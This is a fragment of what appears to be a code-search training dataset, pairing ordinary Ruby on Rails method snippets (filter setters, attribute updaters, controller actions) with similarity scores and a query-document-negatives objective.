:order => 'name')\n end", "def update_filters_for_merger_change\n if self.merger_id_changed?\n if self.merger && self.merger.canonical?\n self.add_filter_taggings\n end\n old_merger = Tag.find_by_id(self.merger_id_was)\n if old_merger && old_merger.canonical?\n self.remove_filter_taggings(old_merger)\n end\n end \n end", "def update!(**args)\n @or_filters_for_segment = args[:or_filters_for_segment] if args.key?(:or_filters_for_segment)\n end", "def update!(**args)\n @inventory_filters = args[:inventory_filters] if args.key?(:inventory_filters)\n @resources = args[:resources] if args.key?(:resources)\n end", "def update!(**args)\n @test_filter = args[:test_filter] if args.key?(:test_filter)\n @training_filter = args[:training_filter] if args.key?(:training_filter)\n @validation_filter = args[:validation_filter] if args.key?(:validation_filter)\n end", "def update!(**args)\n @advertiser_id = args[:advertiser_id] if args.key?(:advertiser_id)\n @id_filter = args[:id_filter] if args.key?(:id_filter)\n @inventory_source_filter = args[:inventory_source_filter] if args.key?(:inventory_source_filter)\n @parent_entity_filter = args[:parent_entity_filter] if args.key?(:parent_entity_filter)\n @partner_id = args[:partner_id] if args.key?(:partner_id)\n @version = args[:version] if args.key?(:version)\n end", "def after_publish(edition)\n edition.supporting_pages.each(&:update_in_search_index)\n end", "def update!(**args)\n @filters = args[:filters] if args.key?(:filters)\n @group_type = args[:group_type] if args.key?(:group_type)\n end", "def filter(options={})\n super\n end", "def update!(**args)\n @communications_filter = args[:communications_filter] if args.key?(:communications_filter)\n @music_filter = args[:music_filter] if args.key?(:music_filter)\n @news_filter = args[:news_filter] if args.key?(:news_filter)\n @podcast_filter = args[:podcast_filter] if args.key?(:podcast_filter)\n @search_filter = args[:search_filter] if args.key?(:search_filter)\n @third_party_apps_filter = args[:third_party_apps_filter] if args.key?(:third_party_apps_filter)\n @video_filter = args[:video_filter] if args.key?(:video_filter)\n @webview_filter = args[:webview_filter] if args.key?(:webview_filter)\n end", "def sync_filters\n super.presence || default_sync_filters\n end", "def add_filters(filters); end", "def edit_option_selection\n @product = Product.find(params[:product_id])\n @product_option = ProductOption.find(params[:product_option_id])\n @option_selection = ProductOptionSelection.find(params[:id])\n unless params[:product_option_selection].nil?\n @option_selection.name = params[:product_option_selection][:name]\n @option_selection.weight_adjustment = params[:product_option_selection][:weight_adjustment]\n @option_selection.price_adjustment = params[:product_option_selection][:price_adjustment]\n @option_selection.sku_adjustment = params[:product_option_selection][:sku_adjustment]\n @option_selection.save!\n image = ProductOptionSelectionImage.new(params[:product_option_selection][:image])\n @option_selection.images << image\n end\n end", "def _update_dataset\n apply_instance_filters(super)\n end", "def update!(**args)\n @segment_filters = args[:segment_filters] if args.key?(:segment_filters)\n end", "def update_filters_for_canonical_change\n if self.canonical_changed?\n if self.canonical?\n self.add_filter_taggings\n elsif self.merger && self.merger.canonical?\n self.filter_taggings.update_all([\"filter_id = ?\", self.merger_id])\n else\n self.remove_filter_taggings\n end\n end \n end", "def set_edition\n @edition = Edition.find(params[:id])\n end", "def filter\n super\n end", "def add_available_filter(field, options)\n @available_filters ||= ActiveSupport::OrderedHash.new\n @available_filters[field] = options\n @available_filters\n end", "def update!(**args)\n @event_filters = args[:event_filters] if args.key?(:event_filters)\n end", "def update!(**args)\n @filter = args[:filter] if args.key?(:filter)\n @force = args[:force] if args.key?(:force)\n end", "def update!(**args)\n @filter = args[:filter] if args.key?(:filter)\n @force = args[:force] if args.key?(:force)\n end", "def update!(**args)\n @filter = args[:filter] if args.key?(:filter)\n @force = args[:force] if args.key?(:force)\n end", "def update!(**args)\n @filter = args[:filter] if args.key?(:filter)\n @force = args[:force] if args.key?(:force)\n end", "def populate_filters(_inputs)\n super.tap do\n self.class.filters.each do |name, filter|\n next if given?(name)\n\n model_field = self.class.model_field_cache_inverse[name]\n next if model_field.nil?\n\n value = public_send(model_field)&.public_send(name)\n public_send(\"#{name}=\", filter.clean(value, self))\n end\n end\n end", "def edit\n @product = Product.find(params[:id])\n\n # Retrieve the categories to display in the caterogy filter dropdown\n @all_categories = Category.where(parent_id: nil).order(:name)\n end", "def add_collection_filter(solr_parameters, user_parameters)\n super(solr_parameters, user_parameters)\n solr_parameters[:rows] = 100\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @field_actions = args[:field_actions] if args.key?(:field_actions)\n @resource_filter = args[:resource_filter] if args.key?(:resource_filter)\n end", "def orm_patches_applied; end", "def update_filter_cache!\n self.filter_cache = {}\n for object_filter in self.class.object_filters\n self.filter_cache[object_filter.id] = object_filter.reload.passes?(self)\n end\n self.filter_cache\n end", "def aa_add_new\n @aa_filter.always_add = !@aa_filter.always_add\n end", "def save_extra_data\n update_categories(self.data_categories) if manage_categories? && !self.data_categories.nil?\n update_tags(self.data_tags) if manage_tags? && !self.data_tags.nil?\n end", "def add_filters\n add_term_filters\n add_terms_filters\n add_range_filters\n end", "def set_filters\n @filters = ''\n @filters.concat(\"status:'Available'\")\n unless @manufacturer_or_publisher.blank?\n @filters.concat(\" AND (manufacturer:'#{@manufacturer_or_publisher}'\")\n @filters.concat(\" OR publisher:'#{@manufacturer_or_publisher}')\")\n end\n @filters.concat(\" AND category:'#{@category}'\") unless @category.blank?\n @filters.concat(\" AND seller_name:'#{@seller_name}'\") unless @seller_name.blank?\n end", "def update!(**args)\n @custom_property_filter = args[:custom_property_filter] if args.key?(:custom_property_filter)\n @custom_weights_metadata = args[:custom_weights_metadata] if args.key?(:custom_weights_metadata)\n @document_creator_filter = args[:document_creator_filter] if args.key?(:document_creator_filter)\n @document_name_filter = args[:document_name_filter] if args.key?(:document_name_filter)\n @document_schema_names = args[:document_schema_names] if args.key?(:document_schema_names)\n @file_type_filter = args[:file_type_filter] if args.key?(:file_type_filter)\n @folder_name_filter = args[:folder_name_filter] if args.key?(:folder_name_filter)\n @is_nl_query = args[:is_nl_query] if args.key?(:is_nl_query)\n @property_filter = args[:property_filter] if args.key?(:property_filter)\n @query = args[:query] if args.key?(:query)\n @query_context = args[:query_context] if args.key?(:query_context)\n @time_filters = args[:time_filters] if args.key?(:time_filters)\n end", "def update\n if params[:id].to_i == 0 and ['featured','clearance','whats_new'].include? params[:id]\n @products = Product.send(params[:id])\n @products.each do |product|\n product.send(params[:id] + '_position=', params[params[:id]].index(product.id.to_s))\n product.save\n end\n render :nothing => true and return\n end\n if params.has_key? :product\n @editable_params[:category_ids].uniq! if @editable_params.has_key? :category_ids\n end\n @product.send(params[:event]) if params.has_key? :event\n if params.has_key? :product and @product.update_attributes(@editable_params)\n @product_section = 'overview'\n render :template => 'manage/products/show' and return\n elsif !params.has_key? :product\n @product_section = 'overview'\n render :template => 'manage/products/show' and return\n else\n @product_section = 'info'\n render :template => 'manage/products/edit' and return\n end\n end", "def update_filter_cache_and_save!\n new_filter_cache = update_filter_cache!\n update_column(:filter_cache, new_filter_cache.to_yaml)\n end", "def filter_params\n params.require(:filter).permit(:name, :description, :opt_in)\n end", "def before_update\n lock_column_instance_filter\n super\n end", "def collection_search_params_logic\n base_logic = [:default_solr_parameters, :add_query_to_solr, :add_access_controls_to_solr_params]\n base_logic += [:add_collection_filter, :some_rows]\n base_logic\n end", "def update!(**args)\n @enable_dynamic_position = args[:enable_dynamic_position] if args.key?(:enable_dynamic_position)\n @excluded_filter_keys = args[:excluded_filter_keys] if args.key?(:excluded_filter_keys)\n @facet_key = args[:facet_key] if args.key?(:facet_key)\n @limit = args[:limit] if args.key?(:limit)\n end", "def toggle_use_filters\n @service_learning_course = ServiceLearningCourse.find(params[:id])\n @service_learning_course.no_filters = ((params[:checked] == \"true\") ? true : false)\n @service_learning_course.save\n \n unless @service_learning_course.no_filters\n @pipeline_course_filter = PipelineCourseFilter.find_or_create_by_service_learning_course_id params[:id]\n @filters = @pipeline_course_filter.filters.nil? ? {} : @pipeline_course_filter.filters\n \n filter_search\n end\n \n \n respond_to do |format|\n format.js\n end\n end", "def new_version_additional_behaviour_before_save(old, new, params)\n\t\tnew.title = old.title\n\t\tnew.description = old.description\n\t\tnew.created_at = old.created_at\n\t\tnew.updated_at = Time.now\n\t\tnew.image = old.image\n\t\tnew.popularity = old.popularity\n\n\t\t# fields\n\t\told.fields.each do |f|\n\t\t\tnew.fields.push f.copy_without_references\n\t\tend\n\n\t\t# release dates\n\t\told.release_dates.each do |rd|\n\t\t\tnew.release_dates.push rd.copy_without_references\n\t\tend\n\n\t\t# videos\n\t\told.videos.each do |v|\n\t\t\tnew.videos.push v.copy_without_references\n\t\tend\n\n\t\tscreenshot_versioning old, new, params\n\n\t\t# genres\n\t\told.genres.each do |g|\n\t\t\tnew.genres.push g\n\t\tend\n\n\t\t# platforms\n\t\told.platforms.each do |p|\n\t\t\tnew.platforms.push p\n\t\tend\n\n\t\t# media\n\t\told.media.each do |m|\n\t\t\tnew.media.push m\n\t\tend\n\n\t\t# modes\n\t\told.modes.each do |m|\n\t\t\tnew.modes.push m\n\t\tend\n\n\t\t# tags\n\t\told.tags.each do |t|\n\t\t\tnew.tags.push t\n\t\tend\n\n\tend", "def list_all(filter = {})\n super(filter).each { |model| model.configuration = configuration }\n end", "def select\n @product = Product.find_by_param!(params[:product_id])\n @product.option_types << OptionType.find(params[:id])\n @product.reload\n @option_types = @product.option_types\n set_available_option_types\n end", "def update!(**args)\n @previews_filtered_reason = args[:previews_filtered_reason] if args.key?(:previews_filtered_reason)\n end", "def update\n @filter = Object::Filter.find(params[:id])\n @filter.source = @source\n\n respond_to do |format|\n if @filter.update_attributes(params[:filter])\n flash[:notice] = 'Filter was successfully updated.'\n format.html { redirect_to(@source) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @filter.errors, :status => :unprocessable_entity }\n end\n end\n end", "def after_save; model.reset_dropdown_cache; super; end", "def available_filters\n unless @available_filters\n initialize_available_filters\n @available_filters.each do |field, options|\n options[:name] ||= l(options[:label] || \"field_#{field}\".gsub(/_id$/, ''))\n end\n end\n @available_filters\n end", "def update\n @product_option = ProductOption.find(params[:product_option][:id])\n @product = Product.find(params[:product_id])\n @product_option.update_attributes(params[:product_option])\n \n @available_options = ProductOption.find(:all, :order => 'name')\n end", "def update!(**args)\n @segment_filter_clauses = args[:segment_filter_clauses] if args.key?(:segment_filter_clauses)\n end", "def initialize(a_model_class, filterrific_params = {})\n self.model_class = a_model_class\n @select_options = {}\n\n # Use either passed in filterrific_params or resource class' default_settings.\n # Don't merge the hashes. This causes trouble if an option is set to nil\n # by the user, then it will be overriden by default_settings.\n # You might wonder \"what if I want to change only one thing from the defaults?\"\n # Persistence, baby. By the time you submit changes to one filter, all the others\n # will be already initialized with the defaults.\n filterrific_params = model_class.filterrific_default_filter_params if filterrific_params.blank?\n if defined?(ActionController::Parameters) && filterrific_params.is_a?(ActionController::Parameters)\n permissible_filter_params = []\n model_class.filterrific_available_filters.each do |p|\n permissible_filter_params << if filterrific_params[p].is_a?(ActionController::Parameters)\n {p => filterrific_params[p].keys}\n elsif filterrific_params[p].is_a?(Array)\n {p => []}\n else\n p\n end\n end\n filterrific_params = filterrific_params.permit(permissible_filter_params).to_h.stringify_keys\n else\n filterrific_params.stringify_keys!\n end\n filterrific_params = condition_filterrific_params(filterrific_params)\n define_and_assign_attr_accessors_for_each_filter(filterrific_params)\n end", "def update\n @admin_filter = Admin::Filter.find(params[:id])\n\n respond_to do |format|\n if @admin_filter.update_attributes(params[:admin_filter])\n format.html { redirect_to @admin_filter, notice: 'Filter was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_filter.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(*)\n assert_source_saved 'The source must be saved before mass-updating the collection'\n super\n end", "def update!(*)\n assert_source_saved 'The source must be saved before mass-updating the collection'\n super\n end", "def update(*)\n assert_source_saved 'The source must be saved before mass-updating the collection'\n super\n end", "def update(*)\n assert_source_saved 'The source must be saved before mass-updating the collection'\n super\n end", "def update\n validate_save_and_respond(load_change_set, :edit)\n end", "def edit\n\n @filters = @user.user_filters\n @filter = UserFilter.new\n @parent = @user\n @survey = @user.current_survey\n\n end", "def add_terms_filters\n add_work_type_filter\n add_user_filter\n add_pseud_filter\n add_collection_filter\n end", "def activate\n\n Product.class_eval do\n accepts_nested_attributes_for :product_properties, :allow_destroy => true\n end\n\n Property.class_eval do\n has_many :property_values, :attributes => true, :dependent => :destroy\n accepts_nested_attributes_for :property_values, :allow_destroy => true\n end\n \n Admin::ProductPropertiesController.class_eval do\n\n create.response do |wants|\n wants.html { redirect_to collection_url }\n end\n\n def update_all\n @product = parent_object\n @product.product_properties_attributes = params[:product][:product_properties_attributes]\n @product.save!\n flash[:notice] = \"Properties updated\"\n redirect_to collection_url\n end\n\n end\n\n end", "def scaffold_update_attributes(object, attributes)\n scaffold_set_attributes(object, scaffold_filter_attributes(:edit, attributes))\n end", "def cache_content_filter_data\n if name && name_id_changed?\n self.lifeform = name.lifeform\n self.text_name = name.text_name\n self.classification = name.classification\n end\n self.where = location.name if location && location_id_changed?\n end", "def filter_fields\n\t \n\t \tremove_attribute(:version)\n\t \tremove_attribute(:op_success)\n\t \tattributes\n\n\t \t\n\t end", "def filter_fields\n\t \n\t \tremove_attribute(:version)\n\t \tremove_attribute(:op_success)\n\t \tattributes\n\n\t \t\n\t end", "def new_version_additional_behaviour_after_save(old, new, params)\n\t\t# change report/block/delete\n\t\tchange_rbc old, new, 0\n\t\tcopy_mixed_fields old, new\n\t\tmixed_fields_update_series_references old, new\n\tend", "def update!(**args)\n @categories = args[:categories] if args.key?(:categories)\n @commute_filter = args[:commute_filter] if args.key?(:commute_filter)\n @company_display_names = args[:company_display_names] if args.key?(:company_display_names)\n @company_names = args[:company_names] if args.key?(:company_names)\n @compensation_filter = args[:compensation_filter] if args.key?(:compensation_filter)\n @custom_attribute_filter = args[:custom_attribute_filter] if args.key?(:custom_attribute_filter)\n @disable_spell_check = args[:disable_spell_check] if args.key?(:disable_spell_check)\n @employment_types = args[:employment_types] if args.key?(:employment_types)\n @language_codes = args[:language_codes] if args.key?(:language_codes)\n @location_filters = args[:location_filters] if args.key?(:location_filters)\n @publish_date_range = args[:publish_date_range] if args.key?(:publish_date_range)\n @query = args[:query] if args.key?(:query)\n end", "def update!(**args)\n @categories = args[:categories] if args.key?(:categories)\n @commute_filter = args[:commute_filter] if args.key?(:commute_filter)\n @company_display_names = args[:company_display_names] if args.key?(:company_display_names)\n @company_names = args[:company_names] if args.key?(:company_names)\n @compensation_filter = args[:compensation_filter] if args.key?(:compensation_filter)\n @custom_attribute_filter = args[:custom_attribute_filter] if args.key?(:custom_attribute_filter)\n @disable_spell_check = args[:disable_spell_check] if args.key?(:disable_spell_check)\n @employment_types = args[:employment_types] if args.key?(:employment_types)\n @language_codes = args[:language_codes] if args.key?(:language_codes)\n @location_filters = args[:location_filters] if args.key?(:location_filters)\n @publish_date_range = args[:publish_date_range] if args.key?(:publish_date_range)\n @query = args[:query] if args.key?(:query)\n end", "def _refresh(ds)\n clear_instance_filters\n super\n end", "def admin_especie_catalogo_params\n p = params.require(:admin_especie_catalogo).permit(:especie_id, :catalogo_id, :observaciones, :nombre_cientifico, bibliografias_attributes: [:id, :especie_id, :catalogo_id, :bibliografia_id, :observaciones, :biblio, :_destroy], regiones_attributes: [:id, :especie_id, :catalogo_id, :region_id, :observaciones, :reg, :_destroy, bibliografias_attributes: [:id, :especie_id, :catalogo_id, :region_id, :bibliografia_id, :observaciones, :biblio, :_destroy]])\n\n separa_multiples_llaves_foraneas(p)\n end", "def update\n respond_to do |format|\n if @offer.update(filter_params)\n format.jsonapi { render :show, status: :ok, location: @offer }\n else\n format.jsonapi { render jsonapi: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @stores = Store.admin_grid(params).order(sort_column + \" \" + sort_direction).\n paginate(:page => pagination_page, :per_page => pagination_rows)\n if params[:update_products].present? \n @products = Product.order(sort_column + \" \" + sort_direction)\n @update_products = true\n end \n end", "def update!(**args)\n @edition_id = args[:edition_id] if args.key?(:edition_id)\n @kind = args[:kind] if args.key?(:kind)\n end", "def update!(**args)\n @edition_id = args[:edition_id] if args.key?(:edition_id)\n @kind = args[:kind] if args.key?(:kind)\n end", "def camaleon_spree_custom_field_models(args)\n args[:models] << Spree::Product\n end", "def fix_save_metas_options_no_changed\n save_metas_options #unless self.changed?\n end", "def created_product_options\n product_options.select {|o| !o.new_record? }\n end", "def edit\n @order_season = OrderSeason.find(params[:id]) # Get the order season selected\n @pickup_dates = PickupDate.where(:order_season_id => @order_season.order_season_id) # Get the pickup dates in the order season\n @pickup_date = PickupDate.new # For adding a new pickup date\n @product = OrderSeasonProduct.new # For adding a new product to the season\n\n # Get all the products in the order season\n @order_season_products = OrderSeasonProduct.where(:order_seasons_id => @order_season.order_season_id)\n # Get all the products that weren't added\n @ids = @order_season_products.map{|x| x.products_id} # Map the ids of the added products\n @non_added_products = Product.all.reject {|product| @ids.include? product.product_id}\n\n end", "def show\n # to add tools to product\n if params[:select].present? \n @new_parent = Product.find(params[:select])\n if @new_parent\n ProductToTool.find_or_create_by_product_id_and_tool_id(@product.id,@new_parent.id)\n end\n end\n @products = Product.admin_grid(params).order(sort_column + \" \" + sort_direction).\n paginate(:page => pagination_page, :per_page => pagination_rows)\n @product_variants = @product.product_variants\n \n if params[:show_products].present? \n @show_products = true\n end \n end", "def freeze\n instance_filters.freeze\n super\n end", "def setup(*)\n # Used to be in an after_add, updated for apotomo 1.2.\n self.respond_to_event :form_submitted, :from => self.name\n self.respond_to_event :revert, :from => self.name\n self.respond_to_event :display_form, :from => self.name\n\n self.where = nil\n self.dom_id = options[:dom_id]\n self.grid_options = {}\n # Guesses that you will use the resource name for the form template.\n self.form_template = options[:resource]\n # Assume that the form is not a multipart (uploader) form\n self.multipart_form = false\n # The orphan template is used when a parent record is needed but not selected\n self.orphan_template = 'orphan'\n # Ensure that we always have a record of some sort\n self.record = resource_model.new\n # Set the name of this resource for public display\n self.human_resource = options[:resource].humanize\n # Set the spokesfield to nil, this needs to be set explicitly\n self.spokesfield = nil\n \n @columns = []\n @sortable_columns = {}\n @default_sort = nil \n\n @filters = {}\n @filter_sequence = []\n @filter_default = {}\n \n @flash_widget = self.dom_id + '_flash'\n self << widget(:grid_flash, @flash_widget)\n \n if options[:form_only]\n @list_widget = nil\n @filters_widget = nil\n self.form_buttons = [\n ['remain', 'Save', 'Add'],\n ]\n else\n @list_widget = self.dom_id + '_list'\n @filters_widget = self.dom_id + '_filters'\n self << widget(:grid_list, @list_widget) do |lw|\n lw << widget(:grid_filters, @filters_widget)\n end\n \n self.form_buttons = [\n ['submit', 'Save+Close', 'Add+Close'],\n ['remain', 'Save', 'Add'],\n ['cancel', 'Cancel', 'Cancel'],\n ]\n end\n end", "def edit_supplier_product \n redirect_unless_privilege('Proveedores')\n \t@product = Product.find params[:product_id]\n \t@product.videos.build if @product.videos.blank?\n\t @supplier_account = @product.supplier_account\n\t @supplier = @product.supplier_account.supplier\n\t\t@product_types = ProductType.of_supplier @supplier\n\t\t@industry_categories = @supplier_account.industry_categories.where(:industry_category_type_id => 1) if @supplier_account.industry_categories.where(:industry_category_type_id => 1).count > 0\n\t\t@industry_cat_types = @industry_categories.inject({}) do |options, industry_category|\n\t\t (options[industry_category.industry_category_type.name] ||= []) << [industry_category.get_name, industry_category.id]\n \t\toptions\n\t\tend\n # product_faqs = @product.product_faqs.build\n end", "def filters=( args )\n @filters.clear\n add_filters(*args)\n end", "def modify_new_model_params(model_params)\n\tend" ]
[ "0.6142707", "0.5748352", "0.5701453", "0.5699751", "0.5699751", "0.5563118", "0.55588156", "0.55588156", "0.554249", "0.5527109", "0.5527109", "0.5517353", "0.5468931", "0.546321", "0.5462756", "0.54558617", "0.54414874", "0.5429254", "0.5392273", "0.5368892", "0.5366381", "0.5366101", "0.5339165", "0.5317577", "0.52834547", "0.5281107", "0.5280513", "0.527909", "0.5277351", "0.52752686", "0.52632433", "0.52590746", "0.5258845", "0.5258192", "0.5257694", "0.5255372", "0.5237131", "0.52360225", "0.52360225", "0.52360225", "0.52360225", "0.52249897", "0.52162534", "0.5211349", "0.52055913", "0.5203384", "0.5196301", "0.5195507", "0.51792663", "0.5177728", "0.5173937", "0.51707274", "0.5170122", "0.5165036", "0.51472294", "0.51409334", "0.5138152", "0.51338905", "0.51337487", "0.5132604", "0.51295686", "0.5125394", "0.51220447", "0.5115689", "0.5113478", "0.51098907", "0.5108529", "0.5100184", "0.50986004", "0.509692", "0.5090851", "0.5090851", "0.5090233", "0.5090233", "0.50856674", "0.50802994", "0.5078928", "0.5074093", "0.5066885", "0.5065672", "0.5059926", "0.5059926", "0.5058996", "0.50581175", "0.50581175", "0.5055923", "0.5049605", "0.5043081", "0.50338495", "0.5031536", "0.5031536", "0.5029718", "0.5024341", "0.50206786", "0.5020051", "0.5018623", "0.50172883", "0.50171757", "0.5009318", "0.5008819", "0.50087935" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_room @room = Room.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n 